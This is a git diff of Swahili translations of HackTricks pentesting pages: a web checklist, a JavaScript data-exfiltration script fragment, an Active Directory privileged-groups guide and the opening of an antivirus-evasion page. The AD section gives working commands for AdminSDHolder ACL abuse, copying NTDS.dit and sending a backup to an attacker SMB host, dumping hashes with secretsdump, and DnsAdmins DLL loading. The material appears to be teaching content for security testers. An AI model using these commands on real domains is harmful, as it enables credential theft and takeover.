* [ ] [**Kuhijack WebSocket za Tovuti (CSWSH)**](websocket-attacks.md)
|
||||
* [ ] [**Kuhujumu WebSocket za Tovuti (CSWSH)**](websocket-attacks.md)
|
||||
* [ ] [**Udhaifu wa PostMessage**](postmessage-vulnerabilities/)
|
||||
|
||||
### **HTTP Headers**
|
||||
### **Vichwa vya HTTP**
|
||||
|
||||
Kulingana na vichwa vya HTTP vilivyotolewa na server ya mtandao, udhaifu fulani unaweza kuwepo.
|
||||
Kulingana na vichwa vya HTTP vilivyotolewa na seva ya wavuti, udhaifu fulani unaweza kuwepo.
|
||||
|
||||
* [ ] [**Clickjacking**](clickjacking.md)
|
||||
* [ ] [**Kupita Sera ya Usalama wa Maudhui**](content-security-policy-csp-bypass/)
|
||||
|
@ -103,12 +112,12 @@ Kuna kazi kadhaa maalum ambapo njia mbadala zinaweza kuwa na manufaa kupita.
|
|||
* [ ] [**Kupita Kuingia**](login-bypass/)
|
||||
* [ ] [**Race Condition**](race-condition.md)
|
||||
* [ ] [**Kupita Kiwango cha Kiwango**](rate-limit-bypass.md)
|
||||
* [ ] [**Kupita Kurekebisha Nenosiri Lililosahaulika**](reset-password.md)
|
||||
* [ ] [**Kupita Kurejesha Nenosiri Lililosahaulika**](reset-password.md)
|
||||
* [ ] [**Udhaifu wa Usajili**](registration-vulnerabilities.md)
|
||||
|
||||
### **Vitu vilivyo na muundo / Kazi maalum**
|
||||
### **Vitu vilivyo na muundo / Kazi Maalum**
|
||||
|
||||
Baadhi ya kazi zitahitaji **data kuwa na muundo maalum sana** (kama vile kitu kilichosawazishwa au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
|
||||
Baadhi ya kazi zitahitaji **data iwe na muundo maalum sana** (kama vile kitu kilichosawazishwa au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
|
||||
Baadhi ya **kazi maalum** pia zinaweza kuwa na udhaifu ikiwa **muundo maalum wa kuingiza unatumika** (kama vile Kuingiza Vichwa vya Barua pepe).
|
||||
|
||||
* [ ] [**Deserialization**](deserialization/)
|
||||
|
@ -119,12 +128,12 @@ Baadhi ya **kazi maalum** pia zinaweza kuwa na udhaifu ikiwa **muundo maalum wa
|
|||
### Faili
|
||||
|
||||
Kazi zinazoruhusu kupakia faili zinaweza kuwa na udhaifu wa masuala kadhaa.\
|
||||
Kazi zinazozalisha faili ikiwa ni pamoja na kuingiza mtumiaji zinaweza kutekeleza msimbo usiotarajiwa.\
|
||||
Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomatiki ikiwa ni pamoja na kuingiza mtumiaji wanaweza kuathirika.
|
||||
Kazi zinazozalisha faili ikiwa ni pamoja na kuingiza kwa mtumiaji zinaweza kutekeleza msimbo usiotarajiwa.\
|
||||
Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomatiki ikiwa ni pamoja na kuingiza kwa mtumiaji wanaweza kuathirika.
|
||||
|
||||
* [ ] [**File Upload**](file-upload/)
|
||||
* [ ] [**Kuingiza Formula**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**Kuingiza PDF**](xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Usimamizi wa Utambulisho wa Nje**
|
||||
|
@ -141,6 +150,16 @@ Udhaifu huu unaweza kusaidia kutekeleza udhaifu mwingine.
|
|||
* [ ] [**Parameter Pollution**](parameter-pollution.md)
|
||||
* [ ] [**Udhaifu wa Unicode Normalization**](unicode-injection/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -12,6 +12,10 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```javascript
|
||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
||||
|
@ -119,6 +123,10 @@ window.onmessage = function(e){
|
|||
exfil_info("onmessage", encode(e.data))
|
||||
}
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -128,8 +136,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,6 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
## Well Known groups with administration privileges
|
||||
|
||||
* **Wasimamizi**
|
||||
|
@ -29,15 +36,15 @@ Ili kubaini wanachama wa kikundi hiki, amri ifuatayo inatekelezwa:
|
|||
```powershell
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Adding new users is permitted, as well as local login to DC01.
|
||||
Kuongeza watumiaji wapya kunaruhusiwa, pamoja na kuingia kwa ndani kwenye DC01.
|
||||
|
||||
## AdminSDHolder group
|
||||
## Kundi la AdminSDHolder
|
||||
|
||||
The **AdminSDHolder** group's Access Control List (ACL) ni muhimu kwani inaweka ruhusa kwa "makundi yaliyolindwa" ndani ya Active Directory, ikiwa ni pamoja na makundi yenye mamlaka ya juu. Mekanismu hii inahakikisha usalama wa makundi haya kwa kuzuia mabadiliko yasiyoruhusiwa.
|
||||
Orodha ya Udhibiti wa Ufikiaji (ACL) ya kundi la **AdminSDHolder** ni muhimu kwani inaweka ruhusa kwa "vikundi vilivyolindwa" ndani ya Active Directory, ikiwa ni pamoja na vikundi vyenye mamlaka ya juu. Mekanismu hii inahakikisha usalama wa vikundi hivi kwa kuzuia mabadiliko yasiyoruhusiwa.
|
||||
|
||||
Mshambuliaji anaweza kutumia hii kwa kubadilisha ACL ya **AdminSDHolder** kundi, akitoa ruhusa kamili kwa mtumiaji wa kawaida. Hii itampa mtumiaji huyo udhibiti kamili juu ya makundi yote yaliyolindwa. Ikiwa ruhusa za mtumiaji huyu zitabadilishwa au kuondolewa, zitarudishwa kiotomatiki ndani ya saa moja kutokana na muundo wa mfumo.
|
||||
Mshambuliaji anaweza kutumia hili kwa kubadilisha ACL ya kundi la **AdminSDHolder**, akitoa ruhusa kamili kwa mtumiaji wa kawaida. Hii itampa mtumiaji huyo udhibiti kamili juu ya vikundi vyote vilivyolindwa. Ikiwa ruhusa za mtumiaji huyu zitabadilishwa au kuondolewa, zitarudishwa kiotomatiki ndani ya saa moja kutokana na muundo wa mfumo.
|
||||
|
||||
Commands to review the members and modify permissions include:
|
||||
Amri za kupitia wanachama na kubadilisha ruhusa ni:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
|
@ -67,7 +74,7 @@ Hii amri inaonyesha kwamba `Server Operators` wana ufikiaji kamili, ikiruhusu us
|
|||
|
||||
## Backup Operators
|
||||
|
||||
Uanachama katika kundi la `Backup Operators` unatoa ufikiaji wa mfumo wa faili wa `DC01` kutokana na haki za `SeBackup` na `SeRestore`. Hizi haki zinaruhusu kupita kwenye folda, kuorodhesha, na uwezo wa kunakili faili, hata bila ruhusa maalum, kwa kutumia bendera ya `FILE_FLAG_BACKUP_SEMANTICS`. Kutumia skripti maalum ni muhimu kwa mchakato huu.
|
||||
Uanachama katika kundi la `Backup Operators` unatoa ufikiaji wa mfumo wa faili wa `DC01` kutokana na haki za `SeBackup` na `SeRestore`. Hizi haki zinaruhusu kupita kwenye folda, kuorodhesha, na uwezo wa kunakili faili, hata bila ruhusa maalum, kwa kutumia bendera ya `FILE_FLAG_BACKUP_SEMANTICS`. Kutumia scripts maalum ni muhimu kwa mchakato huu.
|
||||
|
||||
Ili kuorodhesha wanachama wa kundi, tekeleza:
|
||||
```powershell
|
||||
|
@ -94,7 +101,7 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over
|
|||
```
|
||||
### AD Attack
|
||||
|
||||
Upatikanaji wa moja kwa moja wa mfumo wa faili wa Domain Controller unaruhusu wizi wa database ya `NTDS.dit`, ambayo ina hash zote za NTLM za watumiaji na kompyuta za eneo.
|
||||
Upatikanaji wa moja kwa moja kwenye mfumo wa faili wa Domain Controller unaruhusu wizi wa hifadhidata ya `NTDS.dit`, ambayo ina hash zote za NTLM za watumiaji na kompyuta za eneo.
|
||||
|
||||
#### Using diskshadow.exe
|
||||
|
||||
|
@ -115,7 +122,7 @@ exit
|
|||
```cmd
|
||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||
```
|
||||
Kwa upande mwingine, tumia `robocopy` kwa ajili ya nakala za faili:
|
||||
Mbali na hayo, tumia `robocopy` kwa ajili ya nakala za faili:
|
||||
```cmd
|
||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||
```
|
||||
|
@ -131,7 +138,7 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
|||
#### Kutumia wbadmin.exe
|
||||
|
||||
1. Weka mfumo wa faili wa NTFS kwa seva ya SMB kwenye mashine ya mshambuliaji na uhifadhi akiba ya akreditivu za SMB kwenye mashine lengwa.
|
||||
2. Tumia `wbadmin.exe` kwa ajili ya nakala ya mfumo na uchimbaji wa `NTDS.dit`:
|
||||
2. Tumia `wbadmin.exe` kwa ajili ya akiba ya mfumo na uchimbaji wa `NTDS.dit`:
|
||||
```cmd
|
||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||
|
@ -145,7 +152,7 @@ Kwa maonyesho ya vitendo, angalia [VIDEO YA DEMO NA IPPSEC](https://www.youtube.
|
|||
|
||||
Wajumbe wa kundi la **DnsAdmins** wanaweza kutumia mamlaka yao kupakia DLL isiyo na mipaka yenye mamlaka ya SYSTEM kwenye seva ya DNS, mara nyingi inayoendeshwa kwenye Wajenzi wa Kikoa. Uwezo huu unaruhusu uwezekano mkubwa wa unyakuzi.
|
||||
|
||||
Ili kuorodhesha wajumbe wa kundi la DnsAdmins, tumia:
|
||||
Ili orodhesha wajumbe wa kundi la DnsAdmins, tumia:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
|
@ -176,16 +183,16 @@ Kuanza upya huduma ya DNS (ambayo inaweza kuhitaji ruhusa za ziada) ni muhimu il
|
|||
sc.exe \\dc01 stop dns
|
||||
sc.exe \\dc01 start dns
|
||||
```
|
||||
For more details on this attack vector, refer to ired.team.
|
||||
Kwa maelezo zaidi kuhusu njia hii ya shambulio, rejelea ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
Ni rahisi pia kutumia mimilib.dll kwa ajili ya utekelezaji wa amri, kuibadilisha ili kutekeleza amri maalum au shells za kurudi. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
||||
Pia inawezekana kutumia mimilib.dll kwa ajili ya utekelezaji wa amri, kuibadilisha ili kutekeleza amri maalum au shells za kurudi. [Angalia chapisho hili](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) kwa maelezo zaidi.
|
||||
|
||||
### WPAD Record for MitM
|
||||
### Rekodi ya WPAD kwa MitM
|
||||
DnsAdmins wanaweza kubadilisha rekodi za DNS ili kufanya mashambulizi ya Man-in-the-Middle (MitM) kwa kuunda rekodi ya WPAD baada ya kuzima orodha ya kuzuia maswali ya kimataifa. Zana kama Responder au Inveigh zinaweza kutumika kwa ajili ya kudanganya na kukamata trafiki ya mtandao.
|
||||
|
||||
### Event Log Readers
|
||||
Wajumbe wanaweza kufikia kumbukumbu za matukio, huenda wakapata taarifa nyeti kama vile nywila za maandiko au maelezo ya utekelezaji wa amri:
|
||||
### Wasomaji wa Kumbukumbu za Matukio
|
||||
Wajumbe wanaweza kufikia kumbukumbu za matukio, huenda wakapata taarifa nyeti kama nywila za maandiko au maelezo ya utekelezaji wa amri:
|
||||
```powershell
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
|
@ -198,7 +205,7 @@ Kikundi hiki kinaweza kubadilisha DACLs kwenye kituo cha kikoa, huenda kikatoa h
|
|||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Wataalam wa Hyper-V
|
||||
Wataalam wa Hyper-V wana ufaccess kamili kwa Hyper-V, ambayo inaweza kutumika kupata udhibiti wa Wataalam wa Kikoa wa virtualized. Hii inajumuisha kunakili DCs za moja kwa moja na kutoa NTLM hashes kutoka kwa faili ya NTDS.dit.
|
||||
Wataalam wa Hyper-V wana ufikiaji kamili wa Hyper-V, ambayo inaweza kutumika kupata udhibiti wa Wataalam wa Kikoa wa virtualized. Hii inajumuisha kunakili DCs za moja kwa moja na kutoa NTLM hashes kutoka kwa faili ya NTDS.dit.
|
||||
|
||||
### Mfano wa Kutumia
|
||||
Huduma ya Matengenezo ya Mozilla ya Firefox inaweza kutumika na Wataalam wa Hyper-V kutekeleza amri kama SYSTEM. Hii inahusisha kuunda kiungo kigumu kwa faili ya SYSTEM iliyolindwa na kuibadilisha na executable mbaya:
|
||||
|
@ -216,7 +223,7 @@ Katika mazingira ambapo **Microsoft Exchange** imewekwa, kundi maalum linalojuli
|
|||
### Ukatili wa Haki na Amri
|
||||
|
||||
#### Opereta wa Print
|
||||
Wajumbe wa kundi la **Opereta wa Print** wanapewa haki kadhaa, ikiwa ni pamoja na **`SeLoadDriverPrivilege`**, ambayo inawaruhusu **kuingia kwa ndani kwenye Kidhibiti cha Kikoa**, kuifunga, na kusimamia printa. Ili kutumia haki hizi, hasa ikiwa **`SeLoadDriverPrivilege`** haionekani chini ya muktadha usio na kiwango cha juu, kupita Udhibiti wa Akaunti ya Mtumiaji (UAC) ni muhimu.
|
||||
Wajumbe wa kundi la **Opereta wa Print** wanapewa haki kadhaa, ikiwa ni pamoja na **`SeLoadDriverPrivilege`**, ambayo inawaruhusu **kuingia kwa ndani kwenye Kidhibiti cha Kikoa**, kuifunga, na kusimamia printa. Ili kutumia haki hizi, hasa ikiwa **`SeLoadDriverPrivilege`** haionekani chini ya muktadha usio na hadhi, kupita Udhibiti wa Akaunti ya Mtumiaji (UAC) ni muhimu.
|
||||
|
||||
Ili kuorodhesha wajumbe wa kundi hili, amri ifuatayo ya PowerShell inatumika:
|
||||
```powershell
|
||||
|
@ -225,7 +232,7 @@ Get-NetGroupMember -Identity "Print Operators" -Recurse
|
|||
Kwa mbinu za kina za unyakuzi zinazohusiana na **`SeLoadDriverPrivilege`**, mtu anapaswa kutafuta rasilimali maalum za usalama.
|
||||
|
||||
#### Watumiaji wa Desktop ya Kijijini
|
||||
Wajumbe wa kundi hili wanapewa ufikiaji wa PCs kupitia Protokali ya Desktop ya Kijijini (RDP). Ili kuhesabu wajumbe hawa, amri za PowerShell zinapatikana:
|
||||
Wajumbe wa kundi hili wanapewa ufikiaji wa kompyuta kupitia Protokali ya Desktop ya Kijijini (RDP). Ili kuhesabu wajumbe hawa, amri za PowerShell zinapatikana:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
|
@ -233,14 +240,14 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users
|
|||
Zaidi ya ufahamu kuhusu kutumia RDP yanaweza kupatikana katika rasilimali maalum za pentesting.
|
||||
|
||||
#### Watumiaji wa Usimamizi wa Kijijini
|
||||
Wajumbe wanaweza kufikia PCs kupitia **Windows Remote Management (WinRM)**. Uhesabuji wa wajumbe hawa unafanywa kupitia:
|
||||
Wajumbe wanaweza kufikia kompyuta kupitia **Windows Remote Management (WinRM)**. Uhesabuji wa wajumbe hawa unafanywa kupitia:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
Kwa mbinu za unyakuzi zinazohusiana na **WinRM**, nyaraka maalum zinapaswa kutumika.
|
||||
Kwa mbinu za unyakuzi zinazohusiana na **WinRM**, nyaraka maalum zinapaswa kutazamwa.
|
||||
|
||||
#### Wafanya Kazi wa Seva
|
||||
#### Wafanya Kazi wa Server
|
||||
Kikundi hiki kina ruhusa za kufanya usanidi mbalimbali kwenye Wajibu wa Kikoa, ikiwa ni pamoja na ruhusa za kuhifadhi na kurejesha, kubadilisha muda wa mfumo, na kuzima mfumo. Ili kuhesabu wanachama, amri iliyotolewa ni:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
|
@ -262,9 +269,16 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kujiendesha** kazi kwa urahisi zenye nguvu za zana za jamii **za kisasa zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -272,7 +286,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# Antivirus (AV) Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya udukuzi** na kudukuza yasiyoweza kudukuliwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Ukurasa huu umeandikwa na** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
Hivi sasa, AV hutumia mbinu tofauti za kuangalia ikiwa faili ni ya uhalifu au la, kugundua kwa statiki, uchambuzi wa dynamic, na kwa EDRs za hali ya juu, uchambuzi wa tabia.
|
||||
Kwa sasa, AVs hutumia mbinu tofauti za kuangalia ikiwa faili ni mbaya au la, ugunduzi wa statiki, uchambuzi wa dinamik, na kwa EDRs za hali ya juu, uchambuzi wa tabia.
|
||||
|
||||
### **Static detection**
|
||||
|
||||
Kugundua kwa statiki kunapatikana kwa kuweka alama kwenye nyuzi au safu za byte zinazojulikana kuwa za uhalifu katika binary au script, na pia kutoa taarifa kutoka kwa faili yenyewe (mfano: maelezo ya faili, jina la kampuni, saini za kidijitali, ikoni, checksum, n.k.). Hii inamaanisha kuwa kutumia zana za umma zinazojulikana kunaweza kukufanya ukamatwe kwa urahisi zaidi, kwani huenda zimechambuliwa na kuwekwa alama kama za uhalifu. Kuna njia kadhaa za kuzunguka aina hii ya kugundua:
|
||||
Ugunduzi wa statiki unapatikana kwa kuashiria nyuzi au safu za byte zinazojulikana kuwa mbaya katika binary au script, na pia kutoa taarifa kutoka kwa faili yenyewe (mfano, maelezo ya faili, jina la kampuni, saini za kidijitali, ikoni, checksum, n.k.). Hii inamaanisha kwamba kutumia zana za umma zinazojulikana kunaweza kukufanya ukamatwe kwa urahisi zaidi, kwani huenda zimechambuliwa na kuashiriwa kama mbaya. Kuna njia kadhaa za kuzunguka aina hii ya ugunduzi:
|
||||
|
||||
* **Encryption**
|
||||
|
||||
Ikiwa unashughulikia binary, hakutakuwa na njia kwa AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kufungua na kuendesha programu hiyo kwenye kumbukumbu.
|
||||
Ikiwa unashughulikia binary, hakutakuwa na njia ya AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kufungua na kuendesha programu hiyo kwenye kumbukumbu.
|
||||
|
||||
* **Obfuscation**
|
||||
|
||||
|
@ -38,20 +44,20 @@ Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary a
|
|||
Ikiwa unaunda zana zako mwenyewe, hakutakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi.
|
||||
|
||||
{% hint style="info" %}
|
||||
